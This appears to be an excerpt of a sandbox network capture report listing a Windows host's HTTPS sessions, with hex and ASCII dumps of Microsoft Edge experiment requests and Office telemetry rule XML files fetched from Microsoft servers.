2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-11 18:52:17 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49736	94.245.104.56	443	7324	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:17 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:52:18 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 11 Nov 2024 18:52:18 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=450dfd268f8a743df3163736f7e10bb0b3d546aeb5345f053777aa7edaa19a9e;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: c8cfd17a-b01e-0053-1cd5-33cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185218Z-174f7845968vwdr7hC1EWRsh3w000000057g00000000gv0x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:18 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0eb2a1cd-301e-0020-44d5-336299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185218Z-174f7845968xlwnmhC1EWR0sv800000005900000000000uz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:18 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 8317a370-b01e-0001-33d5-3346e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185218Z-174f7845968cdxdrhC1EWRg0en00000005c0000000002rdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 45cb36d2-601e-0070-3cd5-33a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185218Z-174f7845968glpgnhC1EWR7uec00000005bg00000000w5ur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:18 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 33d009d3-501e-007b-36d5-335ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185218Z-174f7845968psccphC1EWRuz9s00000005f000000000t69p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:19 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:52:19 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:19 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 1973b281-501e-0047-7bd5-33ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T185219Z-174f7845968c2t8dhC1EWR8s20000000054g0000000049uy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:52:19 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
